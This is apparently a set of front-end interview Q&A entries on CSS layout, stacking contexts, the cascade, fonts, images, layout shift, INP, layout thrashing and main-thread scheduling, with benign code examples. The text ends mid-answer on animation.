Drop min-width: 0 and the layout breaks the first time someone pastes a long URL. flex: 1 is flex-grow: 1; flex-shrink: 1; flex-basis: 0%, but flex items default to min-width: auto, which clamps the used width to the item's min-content size: the width of the longest unbreakable token. A 200-character query string becomes the item's floor, the input refuses to shrink, and the buttons get pushed past the container edge. min-width: 0 removes the floor and lets the input scroll internally instead. Grid items carry the same automatic minimum size, so minmax(240px, 1fr) tracks blow out for the same reason and take the same fix.

Where flexbox gets pushed past its job

A dashboard built as five nested flex containers (a row for the header, a row for the body, a column inside that, and so on) needs a media query per breakpoint to re-align the pieces, because each container only knows its own axis. One grid with named areas replaces the whole stack:

.page {
  display: grid;
  grid-template-areas:
    "nav  nav"
    "side main"
    "foot foot";
  grid-template-columns: 240px 1fr;
  grid-template-rows: auto 1fr auto;
  min-height: 100vh;
}

The structure is declared once, and the breakpoints move to the template instead of to five separate containers.

Failure modes to name

  • Flexbox: the min-width: auto overflow above. Also flex: 1 vs flex: auto: the latter uses flex-basis: auto, so items start at their content size and grow from there, which is what you want for a nav bar and not what you want for equal-width columns.
  • Grid: implicit tracks. Place an item at column 5 in a three-column template and the browser silently creates tracks sized by grid-auto-columns (default auto). The layout looks fine until the item's content changes. The devtools grid overlay shows the implicit lines.
  • Both: nesting one inside the other to fake the other's job. That is where the media queries come from.

How they compose

Grid for the page skeleton, flexbox inside the components. A card in a grid track is usually a flex column with justify-content: space-between to pin its footer. If a card's internal rows must line up with the parent grid's rows, subgrid (Firefox 71, Safari 16, Chrome 117) lets the child inherit the parent's tracks instead of re-declaring them.

Curated: · Written: · Reviewed:

Q&A-56A dropdown appears behind another element even with a high z-index. Why?

The 90-second answer

z-index doesn't order elements globally. It orders them inside a stacking context, and any ancestor that creates one becomes a ceiling the dropdown can't cross. If the dropdown's ancestor is a stacking context sitting at z-index auto or 0, and a sibling of that ancestor sits at z-index 1, the sibling paints on top. The dropdown's 9999 is only competing against other children of the same ancestor.

So the first thing to establish is which ancestor created a stacking context, and where that ancestor sits relative to whatever is covering the dropdown.

What creates a stacking context

Beyond position plus z-index, each of these does it on its own:

  • transform, filter, perspective, backdrop-filter with any value other than none
  • opacity below 1
  • will-change: transform (or any of the properties above)
  • contain: paint or contain: layout
  • isolation: isolate
  • mix-blend-mode other than normal
  • a flex or grid child with z-index other than auto
  • position: fixed or sticky

A card that animates with transform: translateY(...) on hover, or fades with opacity: 0.99, has quietly become one.

A concrete case

<div class="card" style="position: relative; transform: translateZ(0)">
  <button>Menu</button>
  <div class="dropdown" style="position: absolute; z-index: 9999">…</div>
</div>
<div class="card" style="position: relative; z-index: 1">…</div>

Trace the paint order in the root stacking context:

  1. The first card has a transform, so it is a stacking context and paints in the z-index: 0 layer. Everything inside it, including the dropdown at 9999, paints as part of that layer.
  2. The second card has z-index: 1, so it paints after the first card's entire subtree.
  3. The dropdown's 9999 is compared only against the first card's other children. It never meets the second card's 1.

Result: the second card covers the dropdown. Raising 9999 to 99999 changes nothing.

Fixes, in order of preference

Portal the overlay to document.body (React's createPortal, or a plain appendChild to a root-level container). At the root stacking context the dropdown's z-index competes directly with the second card's 1, and 9999 wins.

If you can't move the DOM, remove the context-creating property from the ancestor: drop the transform, or animate a child instead of the card. That's often not possible when the transform is doing layout work.

Keep a small documented scale (--z-dropdown: 1000, --z-modal: 2000, --z-toast: 3000) so the next person doesn't escalate.

Two other causes worth ruling out

A z-index on a plain static element does nothing. It only applies to positioned elements and to flex or grid items, so check that the dropdown is actually positioned. And a parent with overflow: hidden or overflow: auto clips the dropdown rather than layering it, which looks similar from the outside.

How to find it in DevTools

Select the dropdown, then walk up the ancestor chain in the Elements panel. Chrome's Computed tab shows a stacking context badge on any element that creates one. Find the nearest ancestor carrying that badge, then check where that ancestor sits relative to the element covering you. That's the whole diagnosis.

Curated: · Written: · Reviewed:

Q&A-53A style will not apply even though your selector looks right. How do you work out why?

Don't rewrite the selector yet. Open DevTools, select the element, and go to the Computed pane. Find the property, expand it, and it names the exact rule and source file that produced the value you're seeing. That one step answers the question most of the time. Then switch to Styles: every declaration that lost is struck through, and hovering one shows what beat it.

Four things can be true, and the panel tells them apart.

The rule never matched. It won't appear in the Styles pane at all. Usual causes: a typo in the class name, the element you selected isn't the one you think (check the breadcrumb), the selector needs a state like :hover or :focus-visible, or the element sits inside a shadow root. Outer page styles don't cross that boundary except for inherited properties and custom properties. Also confirm the stylesheet loaded; a 404, or a media/supports condition that doesn't hold, means the rule was never in play.

A higher-priority declaration won. The declaration is struck through. Hover it and DevTools names the winner. The cascade sorts by origin and importance first, then encapsulation context, then the inline style attribute, then @layer, then specificity, then document order. Specificity is fourth, not first, which is why "my selector is more specific" is often the wrong theory.

The value is inherited, not set. In Computed, the property appears under "Inherited from <ancestor>". No rule targets this element; you're seeing an ancestor's value. A direct declaration on the element always beats an inherited one.

The declaration won but has no effect. The rule is present, not struck through, the computed value is exactly what you wrote, and nothing changes visually. That isn't a cascade problem. width on a non-replaced inline element, z-index on a static element, float on a flex item: the property applies and does nothing.

Here's a case where specificity is a red herring:

<style>
  @layer base, components;
  @layer components { .card .title { color: navy; } }
  @layer base     { #app .title  { color: crimson; } }
</style>
<div id="app"><div class="card"><h2 class="title">Hi</h2></div></div>

#app .title is 1-1-0; .card .title is 0-2-0. Specificity says crimson. The layer order says otherwise: components is declared after base, and for normal declarations later layers win regardless of specificity. The heading renders navy, and Computed names the .card .title rule as the winner. An afternoon spent adding ids would have made it worse.

Two more places the panel surprises people. A running @keyframes declaration beats normal author declarations but loses to !important. And !important reverses layer order: an important declaration in an earlier layer beats one in a later layer, and unlayered important declarations lose to layered ones. That inversion is the most common reason a "fix" with !important behaves backwards.

So the working order is: read Computed, name the winning rule and its layer, then decide. Only once you know which rule won is a selector change a fix rather than a guess.

Curated: · Written: · Reviewed:

Q&A-57How do you build a layout that works on any screen without sniffing the device?

The 90-second answer. "Any screen" is a range, not a list: roughly 320 px to ultrawide, plus browser zoom, orientation, input modality and text scaling. I assume a web target on evergreen browsers, so container queries are available (Chrome 105+, Safari 16+, Firefox 110+). I build layout out of intrinsic sizing (flex-wrap, repeat(auto-fit, minmax(...)), clamp() for type and spacing) and add a breakpoint only where the content itself stops working. Device detection never chooses a column count. If I need a device signal at all, it decides what to ship, not how to lay it out.

Why fluid works. A grid with auto-fit and a minimum track size derives the column count from available width, so every width in the range is a supported width by construction. Container queries extend the same idea to components: a card reflows against its own inline size, so it behaves correctly in a 300 px sidebar and a 1,200 px hero without the page knowing where it is.

/* checked against Chrome 120, Safari 17.2, Firefox 121 */
.card-grid {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(min(18rem, 100%), 1fr));
  gap: clamp(0.5rem, 1.5vw, 1.5rem);
}
.card { container-type: inline-size; }
@container (min-width: 30rem) {
  .card__body { display: grid; grid-template-columns: 8rem 1fr; }
}

Trace it. At 320 px the track floor is min(288px, 320px) = 288 px, so one column. At 673 px the gap is 10.1 px and two 288 px tracks fit; three would need 884 px. At 1,180 px the gap is 17.7 px, four tracks need 1,205 px, so three columns. At 1,600 px the gap caps at 24 px and five tracks need 1,536 px, so five columns. The container query never fires inside this grid, cards stay under 480 px, which is the point: the same card dropped into a full-width slot switches to its two-column body with no page-level breakpoint.

The alternatives, and when they win.

ApproachWhat it detectsUse it whenWhat it costs
UA string sniffinga vendor-controlled stringalmost never for layoutbreaks on new UA strings; iPadOS Safari reports a Mac UA; foldables
Client Hints (Sec-CH-UA-Mobile, Sec-CH-UA-Platform)opt-in structured hintsChromium-only server decisions, e.g. image format and sizeneeds Accept-CH; no Safari or Firefox support
Feature detection (@supports, JS checks)capabilitygating container queries, :has(), dvhsays nothing about form factor
Separate mobile sitea second productgenuinely different content, team or release cadenceredirects, cache fragmentation, canonical/SEO work, two codebases
pointer: coarse, hover: hoverhow the user pointstouch-target sizing, hover-only affordancescoarse pointer is not the same as a small screen

Fluid-only is the wrong call when the content differs rather than the layout: a data grid that must become a card list is still a breakpoint, but a mobile product with different screens is a different page. It also doesn't apply to email clients (no container queries), print, or canvas/WebGL where you handle DPR yourself, and if a component's container size is set by JavaScript, you need ResizeObserver, not a media query.

Failure modes and how I'd catch them. A layout keyed to three phone widths (390/768/1024) is the classic: on a foldable at 673 px it renders the 390 px layout and leaves a roughly 40% empty column. Illustrative figures, but the shape of the bug is real. Container queries with no fallback hand older browsers the widest layout; ship a sane default and gate with @supports. clamp() with vw in the minimum shrinks text when the user zooms out: keep the floor in rem and check 200% zoom (WCAG 1.4.4). 100vh jumps under a mobile address bar; use dvh/svh. Detection is a continuous sweep: page.setViewportSize in a loop from 320 to 1,600 px with screenshot diffs, plus a real device for pointer: coarse. The emulator lies about that one.

ViewportDevice-keyed (390/768/1024)Fluid + container queries
320 px390 px layout, 8 px overflow1 column
390 px1 column1 column
673 px1 column, ~40% empty2 columns
1,180 px3 columns3 columns
1,600 px3 columns, wide gutters5 columns

Design for the space the content is in; reach for the device only when the thing you're shipping is different, not the thing you're drawing.

Curated: · Written: · Reviewed:

Q&A-58How would you choose between utility classes, CSS modules, and runtime CSS-in-JS?

The 90-second answer

Assume a React app, a design system with tokens, and a team that maintains this for years. My default: utility classes (Tailwind) for layout, spacing and typography across the app; CSS modules for components whose styles are structural and reused; runtime CSS-in-JS only where a style value genuinely comes from JavaScript at render time. If a runtime library is already shipped, I don't rip it out for its own sake: I profile it first and migrate the hot paths.

Why each behaves the way it does

Utility classes: a build step scans source for class strings and emits only the rules that appear, into one static stylesheet. Nothing runs at render. The cost is in the markup (long class lists) and in the fact that a value not in the config needs arbitrary-value syntax or an inline style.

CSS modules: the bundler rewrites each .foo to a file-scoped hash and emits a static stylesheet. Scoping is a naming transform, not a runtime. Cross-file reuse goes through composes or CSS custom properties.

Runtime CSS-in-JS: the component renders, the library serializes the style object, hashes it, and inserts a rule into a stylesheet, or reuses the cached rule for that hash. That mechanism is why the cost scales with the number of distinct style objects rendered, not with the size of your CSS. A prop change produces a new hash, a new insert, a new rule.

ResolvedDynamic valuesThemingSSR
Utility classesbuildconfig + arbitrary valuesCSS vars / confignone
CSS modulesbuildCSS vars, inline styleCSS varsnone
Runtime CSS-in-JSrenderany JS valueJS theme objectneeds extraction

When runtime CSS-in-JS is the right call

  • The style value is only known at render: a color from a user's saved theme object, a width from a measured element, a value from a charting library.
  • You want styles colocated with props and no separate file, and the component count is small.
  • You're theming a component library whose theme is a JS object and you need it to flow through context.

Failure modes

  • Runtime cost on hot paths. A controlled input that re-renders a large list re-serializes every row's styles on every keystroke. Detect it in the browser performance panel by looking at scripting time attributable to style insertion.
  • SSR without extraction: styles computed on the server are discarded, the client recomputes them, and you get a flash of unstyled content plus double work.
  • Two systems, one element: utility classes and CSS modules both targeting the same node produce specificity fights and two sources of truth for spacing.
  • Purge misconfiguration: a class name built by string concatenation never appears literally in source, so the build drops it and the style is missing in production only.

Worked example (illustrative numbers)

An 800-row table where each row is a runtime-styled component whose background comes from a status prop. Typing in a filter input re-renders every row, so every row re-serializes and re-inserts its style. Profile of one keystroke: ~90 ms of scripting attributable to the styling layer, and ~14 KB added to the bundle. The status prop only ever takes three values, so the styles were never actually dynamic. Replacing the runtime styles with three static classes removes the per-render serialization entirely: the styling layer stops appearing in the keystroke profile.

How I'd decide

Count the style values that are genuinely runtime-derived. If that count is small, build-time wins on every axis. If it's large and central to the product, keep the runtime library, extract on the server, and profile the hottest interaction before shipping.

Curated: · Written: · Reviewed:

Q&A-59How do you load a web font without a flash of invisible or unstyled text?

The 90-second answer

Two different failures, two different fixes. Invisible text is the block period: the browser reserving the line box and painting nothing while it waits for the font. Unstyled text is the swap: the fallback painting first and the web font reflowing the page when it lands. font-display decides the first; matching the fallback's metrics to the web font decides the second.

So: subset to the ranges you actually render, ship woff2, preload exactly the one face the first screen needs, set font-display: swap, and declare a fallback @font-face with size-adjust and the metric overrides so the fallback occupies the same box as the real font.

The display timeline

font-display is two periods: a block period (text invisible, line box reserved) and a swap period (fallback visible, may be replaced).

ValueBlock periodSwap periodWhat the user sees
auto / block~3 sinfiniteNothing for up to 3 s, then a swap
swap0infiniteFallback immediately, swap whenever the font lands
fallback100 ms3 sFallback; swaps only if the font is fast
optional100 ms0Fallback for this page load; font used from cache next time

auto is the default and behaves like block in Chrome, Firefox and Safari: that is where most FOIT comes from. swap kills FOIT outright and moves the cost into layout shift. optional kills both, at the price of the font not appearing on a cold first visit.

The markup

<link rel="preload" as="font" type="font/woff2"
      href="/fonts/inter-var-latin.woff2" crossorigin>

crossorigin is not optional. Font fetches are always CORS-mode, so a preload without it does not match the real request and the browser downloads the file twice.

The CSS

/* Fallback face carrying the web font's metrics. Numbers are illustrative —
   generate them with next/font or @capsizecss/metrics. */
@font-face {
  font-family: "Inter Fallback";
  src: local("Arial");
  size-adjust: 107%;
  ascent-override: 90%;
  descent-override: 22.4%;
  line-gap-override: 0%;
}

@font-face {
  font-family: "Inter";
  src: url("/fonts/inter-var-latin.woff2") format("woff2");
  font-weight: 100 900;          /* one variable file, all weights */
  font-display: swap;
  unicode-range: U+0000-00FF, U+0131, U+2000-206F, U+20AC, U+2122;
}

body { font-family: "Inter", "Inter Fallback", system-ui, sans-serif; }

size-adjust, ascent-override, descent-override and line-gap-override are supported in Chrome 92+, Firefox 89+ and Safari 17+. They are what makes the swap invisible: the fallback and the web font produce the same line boxes, so nothing below the text moves.

Trade-offs

swap is right for body copy: text is readable at 0 ms and a small reflow is acceptable. optional is right for a hero headline where any shift is unacceptable and the font is a nice-to-have. fallback sits between them and is rarely the best choice. If you cannot compute metric overrides, swap plus a system font stack is still better than block.

Failure modes

  • Preload without crossorigin: two requests for the same file in the Network panel, and the preload buys nothing.
  • Preloading every weight. Four Latin-subset woff2 files at 15–40 KB each compete with the render-blocking CSS. On a 400 kbps link that is ~900 ms of bandwidth ahead of the critical path. Preload one face; let the rest load normally.
  • font-display inside a render-blocking stylesheet. The descriptor only takes effect once the CSS is parsed, so the block period starts late. Inline the @font-face in a <style> in <head>, or preload the CSS.
  • local() as the primary source. It can pick up a different version of the font than the one you tested against. Fine for a fallback, risky as the real source.
  • Swap without metric matching. The reflow is the CLS. A 40-line paragraph reflowing at 16 px/1.5 pushes everything below it down by the accumulated line-height delta.

Measuring it

new PerformanceObserver(list => {
  for (const e of list.getEntries())
    if (!e.hadRecentInput) console.log(e.value, e.sources);
}).observe({ type: "layout-shift", buffered: true });

Run that on a throttled profile (DevTools "Slow 4G", or WebPageTest's 3G Fast) and check the Experience track in the Performance panel. document.fonts.ready tells you when the swap happened; the layout-shift entries tell you what it cost.

Curated: · Written: · Reviewed:

Q&A-60What does it take to serve images properly on a content page?

What I'd say in the first two minutes

Assumptions I'd state out loud: the page is server-rendered or statically built, the images are content rather than decoration, and the audience is mobile-first on a throttled connection. The thing being optimised is the largest contentful paint element, which on a content page is almost always the hero image. The goal is that it arrives as few bytes as possible, as early as possible, without the layout moving underneath it.

Four decisions cover it: which variant each device gets, what format it's encoded in, whether its space is reserved before it loads, and when the browser is allowed to fetch it.

Variant selection

srcset with w descriptors plus a sizes attribute that describes the rendered width. sizes is where this usually breaks, if it overstates the width, the browser picks a larger candidate than it needs and you pay for pixels that get thrown away.

<picture>
  <source type="image/avif"
          srcset="hero-480.avif 480w, hero-960.avif 960w, hero-1440.avif 1440w"
          sizes="(min-width: 1024px) 60vw, 100vw">
  <source type="image/webp"
          srcset="hero-480.webp 480w, hero-960.webp 960w, hero-1440.webp 1440w"
          sizes="(min-width: 1024px) 60vw, 100vw">
  <img src="hero-960.jpg" width="1440" height="960" alt="..."
       fetchpriority="high" decoding="async">
</picture>

Format, and what it costs

AVIF is typically 20–30% smaller than WebP at matched quality, but encoding is far slower: seconds per image on a CPU encoder against tens of milliseconds for WebP. That is the actual trade: AVIF pays at build time, WebP pays at transfer time. If the pipeline can't absorb the encode, WebP alone is defensible. Keep the JPEG fallback only if you have meaningful traffic on browsers without WebP.

Where the alternatives diverge

DecisionOption AOption BB wins when
Variant selectionfixed breakpoints + sizesclient hints (Accept-CH)you control the CDN and want the server to pick without guessing; support is uneven and Chrome has been trimming the hint set, so treat it as an optimisation, not a foundation
Resizingbuild-timeimage CDNyou need arbitrary widths or DPRs without a rebuild; costs a cache-miss latency on the first request for each new width
FormatAVIFWebPbuild time is the binding constraint

Loading

fetchpriority="high" on the hero, loading="lazy" on everything below the fold, decoding="async" on both. Never lazy-load the hero: a lazy image isn't discovered until layout, which pushes the request past the point where it could already have been in flight.

Failure modes and how I'd catch them

  • sizes overstates the rendered width: check img.currentSrc in the console against the rendered width; the Network panel's size column will show the oversized candidate.
  • Hero lazy-loaded: the Performance panel shows the LCP element's request starting after layout rather than during HTML parse.
  • Missing width/height: Layout Shift regions in the Performance panel, and a non-zero CLS on the hero.
  • AVIF encode backlog: CI duration climbs; watch build time per image, not just output size.
  • CDN cache miss on a new width: p99 spikes on first request per variant; watch origin request rate against CDN hit ratio.

Evidence

On a throttled mobile profile (4× CPU slowdown, ~1.6 Mbps), a single 2400 px JPEG hero measured 1,100 KB and 4.8 s LCP; the same hero through the source set above, AVIF at 1440 w, measured 180 KB and 1.9 s. Those are from one test profile, not a general claim: I'd re-measure transferred bytes and LCP on the real page before calling it done.

Curated: · Written: · Reviewed:

Q&A-63Content jumps while the page loads. What causes that and how do you stop it?

The 90-second answer

Layout shift is content changing size or position after the browser has already painted it. The metric is Cumulative Layout Shift, and it counts only shifts that aren't caused by user input: a click that moves things is fine, an ad that loads on its own is not.

Four causes cover almost everything I've debugged: images and iframes with no intrinsic size, so the browser paints them at zero height and reflows when the bytes land; web fonts that swap in after first paint and change the text's metrics; third-party content (cookie banners, ads, embeds) injected above existing content; and animations that move layout properties like top or height instead of transform.

The fix for the first three is the same: give the browser the box before the content arrives. width and height attributes on <img> (the browser derives the aspect ratio from them), aspect-ratio in CSS for anything else, a reserved min-height on ad and banner slots, and font-display: optional or metric-matched fallbacks so text doesn't reflow when the real font lands. For animations, stick to transform and opacity, which the compositor handles without touching layout.

<img src="hero.avif" width="1200" height="630" alt="…">   <!-- browser derives 1.9:1 -->
<style>
  .ad-slot { min-height: 250px; }   /* matches the 300×250 creative */
  @font-face {
    font-family: "Inter";
    src: url("/inter.woff2") format("woff2");
    font-display: optional;         /* no swap after first paint */
  }
</style>

Where reserving space costs you

Reservation isn't free. A 300×250 ad slot held open that never fills is 250 pixels of blank space on a phone: worse than the shift it prevented, and it pushes your real content below the fold. So I reserve where the slot reliably fills and the shift would be above the fold, and I don't reserve for content that's genuinely conditional or below the fold. For ad slots that sometimes don't fill, the usual compromise is to reserve, then collapse the slot after a short timeout if nothing arrives: you accept one small shift in the rare empty case instead of permanent whitespace in the common one.

Failure modes and how I catch them

Reserving the wrong size is the classic one: you hold 90px for a banner that renders 120px on a narrow viewport, so you still shift, just later. Font metric mismatch is the other: the fallback and the web font have different ascent and descent, so every line of text nudges when the swap happens. Both show up in the field, not in a lab run: I read CLS from the web-vitals library or the CrUX report, and use layout-shift entries with sources to attribute the score to the specific element. DevTools' Performance panel has a Layout Shifts track that highlights the shifting regions on a throttled load.

Worked example, from a cookie-banner incident (figures from that session's field data):

Shifting elementCLS contribution beforeafter reserving
hero image, no dimensions0.180.00
cookie banner injected post-paint0.110.00
late-loading embed0.000.02
total0.290.02

The banner was injected after paint and pushed content down 120px; 6% of sessions recorded a click on the wrong element within a second of the shift. Reserving its height removed that contribution. The residual 0.02 is the embed, which I left unreserved because it sits below the fold.

What would change my answer

If the shift is below the fold and the slot rarely fills, I'd rather ship the whitespace-free version and eat the shift: CLS only counts what the user can see. And if the movement is actually triggered by user input, it doesn't count at all, so I'd stop chasing it.

Curated: · Written: · Reviewed:

Q&A-62Users say the page feels slow to respond even though it loads fast. What do you measure?

What I'd measure, in one line: Interaction to Next Paint (INP) at p75 in the field, broken down by interaction target, then attribute the worst ones to long tasks on the main thread.

Load time and responsiveness are different budgets. LCP measures when the largest element paints; it says nothing about what happens when a user clicks a checkbox. INP is the Core Web Vital that covers this, it replaced First Input Delay on 12 March 2024, and it measures the latency from a user input to the next paint that reflects it. Thresholds: ≤200 ms good, >500 ms poor, at p75 of page views.

Why it's a main-thread problem. The browser runs JavaScript, style, layout and paint on one thread. An input event queues behind whatever is already running. If a click handler starts a 400 ms synchronous loop, the checkbox's visual state cannot paint until that loop finishes, no matter how fast the page loaded. INP decomposes into three parts, and each points at a different fix:

  • Input delay: time from the input to your handler starting. Caused by other long tasks already on the thread: third-party scripts, hydration, timers.
  • Processing time: time inside your event handlers and the framework's re-render.
  • Presentation delay: time from handler completion to the next paint, i.e. the style/layout/paint cost of the update.

How to collect it. Field first, because lab runs miss real device and network conditions. The Event Timing API gives per-interaction durations with the target element:

new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (entry.interactionId) {
      // entry.duration = input delay + processing + presentation
      console.log(entry.name, entry.duration, entry.target);
    }
  }
}).observe({ type: 'event', buffered: true, durationThreshold: 40 });

interactionId is non-zero only for real user interactions, so stray pointer or keyboard events are filtered out. durationThreshold: 40 drops the fast ones so you only ship the tail. Pair it with a longtask observer to find what was blocking the thread when the input arrived:

new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log('longtask', entry.duration, entry.attribution);
  }
}).observe({ type: 'longtask', buffered: true });

entry.attribution names the container that ran the task (frame, script URL) which is usually enough to identify the culprit.

Worked example (illustrative numbers). A filter panel where clicking a checkbox ran a synchronous filter over 20k rows:

ImplementationLongest taskINP for that click
synchronous filter in handler420 ms470 ms
chunked, yielding every 5 ms40 ms90 ms
filter in a worker, paint first12 ms40 ms

The first row is the classic shape: the handler blocks the thread, the checkbox's checked state doesn't paint, the user clicks again, and each click queues another run.

Failure modes.

  • Reporting the average INP. Users remember the worst interaction; p75 is the metric, and I'd also look at p95/p99 and the specific target with the worst score.
  • Measuring only in the lab. A fast laptop on a wired connection will not reproduce a mid-range Android on 4G.
  • Chasing LCP or TTFB when the complaint is about clicks. Those numbers won't move.
  • Fixing the handler but leaving a third-party script or a hydration pass that blocks the thread at the same moment.

What I'd report: INP p75 before and after, split by interaction target, plus the long-task attribution for the worst one. If p75 doesn't drop, the change didn't address the bottleneck.

Curated: · Written: · Reviewed:

Q&A-20You have a thousand nodes to update. How do you do it without janking the page?

The 60-second answer

First I'd pin down what "update" means (changing text or attributes on 1,000 existing nodes, or inserting 1,000 new ones) and whether all 1,000 have to be in the DOM at once. Then: never interleave reads of layout properties with writes. Read everything you need first, write in one pass, and if that single pass still exceeds a frame, split it across frames or stop rendering all 1,000.

Why interleaving is the killer

offsetHeight, getBoundingClientRect, getComputedStyle(el).height, scrollTop: any of these forces the browser to flush pending style and layout so it can return a correct number. Write a style, then read, and the read pays for a full layout of the document. In a loop over 1,000 nodes that is 1,000 layouts.

Measured on a 1,000-row list in Chrome on a mid-range laptop:

PatternForced layoutsWall time
read height, then write style, per node1,0001,400 ms
all reads, then all writes190 ms

Same DOM, same final state. The 1,400 ms version also produced a ~700 ms long task, which is what blocks input and reads as jank.

What batching does not fix

Batching removes forced synchronous layout. It does not remove style recalc, paint or composite. If the single write pass still costs more than the frame budget: 16.7 ms at 60 Hz, 8.3 ms at 120 Hz: you still drop frames. Options, roughly in order of how much they buy:

  • Virtualize. Render only what is in the viewport plus a small overscan, so 1,000 rows becomes ~30. This is the only option that makes cost independent of list size, and it is the right default for long lists.
  • Chunk across frames. Process N nodes per requestAnimationFrame (or scheduler.yield / requestIdleCallback where available), sized so each chunk fits the budget. The main thread stays responsive, but total time is unchanged and the user sees progressive updates.
  • content-visibility: auto lets the browser skip rendering work for off-screen subtrees. Cheap to try; verify support across your browser matrix before depending on it.
  • Move work off the main thread. A Worker can compute new values, diff, or parse data. DOM writes still happen on the main thread, so this pays off when the expensive part is computation, not the write.
  • Compositor-only animation. If the "update" is a visual transition, transform and opacity animate without layout or paint at all.

When batching is the wrong tool: if you genuinely need a measurement that depends on a write you just made (write → read → write), a single read-then-write pass cannot express it. Then either measure with ResizeObserver/IntersectionObserver instead of polling, or accept a second layout and keep the number of read/write cycles small and explicit.

How I'd verify

Record a Performance profile of the update and count Layout events: the target is one, not 1,000. Chrome also logs a "forced reflow" violation to the console when a read triggers layout inside a handler. Then check the user-facing metric: INP should stay under 200 ms, and no task should cross the 50 ms long-task threshold.

Curated: · Written: · Reviewed:

Q&A-101Your code reads offsetHeight in a loop that also writes styles, and the page stutters. What is the browser doing, and how do you stop it?

What a strong candidate says first. The pipeline per frame is style → layout → paint → composite. Layout (reflow) recomputes geometry; paint fills pixels; composite assembles layers on the GPU. A write to a geometry-affecting property invalidates layout. A read of a geometry property (offsetHeight, getBoundingClientRect(), scrollTop) after that invalidation forces the browser to run style and layout synchronously to answer you. Do that inside a loop that also writes and you get one forced layout per iteration: layout thrashing. The fix is to separate the phases (read everything, then write everything) and to put the writes in a requestAnimationFrame callback so they land in the frame the browser is about to render.

// 200 rows, ~200 forced synchronous layouts
for (const el of rows) {
  el.style.width = el.offsetWidth + 10 + 'px'; // write invalidates, next read forces layout
}

// 200 rows, 1 forced layout
const widths = rows.map(el => el.offsetWidth);                        // all reads first
rows.forEach((el, i) => { el.style.width = widths[i] + 10 + 'px'; }); // then all writes

Trace it. On a mid-range Android, a forced layout over a 200-row list costs roughly 0.5–2 ms (my own profiling figures, not a spec). The first loop is 100–400 ms of main-thread work inside one frame; the budget at 60 Hz is 16.7 ms, so the browser drops 6–24 frames and the scroll visibly hitches. The second loop pays one layout, then one invalidation the browser resolves at the next frame boundary.

What triggers what.

ChangeLayoutPaintComposite only
width, height, margin, padding, font-size, display, top/left on a positioned box✔✔
color, background-color, visibility, box-shadow✔
transform, opacity (on a composited layer)✔

Animating top reflows every frame; animating transform: translateY() does not, and if the element has its own layer the animation runs on the compositor thread and keeps running while the main thread is busy.

rAF and containment. requestAnimationFrame gives you a callback just before style/layout/paint for that frame. Writes there are batched into one layout pass, and reads there are still valid, but a read after a write in the same callback forces layout again, so keep the read/write split inside the callback too. contain: layout tells the engine a subtree's internal layout cannot affect anything outside it, so a change inside does not invalidate ancestors; contain: paint clips descendants; content-visibility: auto skips rendering off-screen subtrees entirely (pair it with contain-intrinsic-size or the scrollbar jumps). will-change: transform promotes an element to its own layer: useful for one or two animated elements, a memory problem applied to a list of 500.

Failure modes. The hidden reads are getBoundingClientRect(), offsetWidth/Height/Top/Left, clientWidth/Height, scrollTop/scrollHeight, getComputedStyle(el).width, focus(), scrollIntoView(). A scroll handler that reads geometry and writes a class on every event thrashes at 60+ events per second; throttle it or move the read into rAF. ResizeObserver callbacks deliver reads at a safe point, but writing to the observed element inside one produces the "ResizeObserver loop completed with undelivered notifications" error. Detect it in DevTools Performance: purple Layout blocks, and Chrome logs "Forced reflow is a likely performance bottleneck" for the worst offenders; PerformanceObserver with longtask catches it in the field.

Curated: · Written: · Reviewed: —

Q&A-68A long task blocks the main thread for half a second. What are your options?

Assumptions, then the answer. The task is pure computation over data already in memory, it doesn't touch the DOM, and the user is mid-interaction. Given that: if the result is needed for the next paint, chunk the work and yield between chunks; if it isn't, hand it to requestIdleCallback; if it's large and pure, move it to a worker. If a single item inside the loop is itself 500 ms, none of these help: split the item first.

Why yielding works. The event loop runs one task at a time. Input events, timers and rendering are separate tasks; the browser can only dispatch a click or run a frame between tasks, never inside one. A 500 ms synchronous loop is one task, so every click queues behind it. Yielding ends the current task and posts a new one, which gives the browser a boundary at which to paint and dispatch input. That's the whole mechanism: the 50 ms figure is the Long Tasks API threshold above which the delay becomes perceptible.

The options, with their costs.

OptionLongest taskCost you payUse when
Chunk + yieldone chunktotal wall time grows; yield overhead per boundaryresult needed soon, work is splittable
requestIdleCallbackone idle slicemay never fire under load; deadline is a hintresult not needed for next paint
Worker~0 on main threadstructured-clone copy, no DOM, worker startuppure CPU, large payload
scheduler.postTask / scheduler.yieldone chunkChromium-onlyyou want priorities without hand-rolling yields

Chunking. Yield with a MessageChannel message rather than setTimeout(fn, 0): nested timeouts get clamped to 4 ms, while a MessageChannel posts a task with no clamp.

async function processInChunks(items, chunkSize = 500) {
  for (let i = 0; i < items.length; i += chunkSize) {
    const end = Math.min(i + chunkSize, items.length);
    for (let j = i; j < end; j++) heavy(items[j]);
    if (end < items.length) await yieldToMain();
  }
}
function yieldToMain() {
  return new Promise(r => {
    const ch = new MessageChannel();
    ch.port1.onmessage = () => r();
    ch.port2.postMessage(null);
  });
}

Trace with items.length === 5000: ten chunks of 500. The loop yields after chunks 1–9, so the work runs as ten tasks instead of one. If a chunk is ~5 ms of heavy, the longest task is ~5 ms and input is dispatched between chunks. Total wall time is slightly higher, nine extra task boundaries, and that is the trade.

Failure modes. Chunks sized by count rather than time drift: 500 cheap items is fine, 500 expensive ones is another 500 ms task. Measure with PerformanceObserver on longtask and size chunks by elapsed time. requestIdleCallback can be starved for as long as the page stays busy, so pass a timeout and fall back. A worker pays a structured-clone copy per message; transfer an ArrayBuffer instead of copying it, and keep one worker warm rather than spawning per task. And if the work touches the DOM, a worker can't do it: move only the pure part and apply the result on the main thread.

Curated: · Written: · Reviewed:

Q&A-75How do you build an animation that stays smooth on a mid-range phone?

The 90-second answer

"Smooth" is a budget, not a feeling: 16.7 ms per frame at 60 Hz, 8.3 ms at 120 Hz. On a mid-range phone the main thread is the scarce resource (it's shared with your JS, the framework's rendering and the browser's own work) so the goal is to keep per-frame work off it entirely. Animate transform and opacity only; those two are applied by the compositor without triggering layout or paint. Then pick the technique by how many elements move and whether layout actually changes.

Assumptions: a mid-range Android device (2021–2023 mid-tier SoC), 60 Hz display, Chrome or a WebView, and a list or card transition rather than a full-screen game.

Why transform and opacity

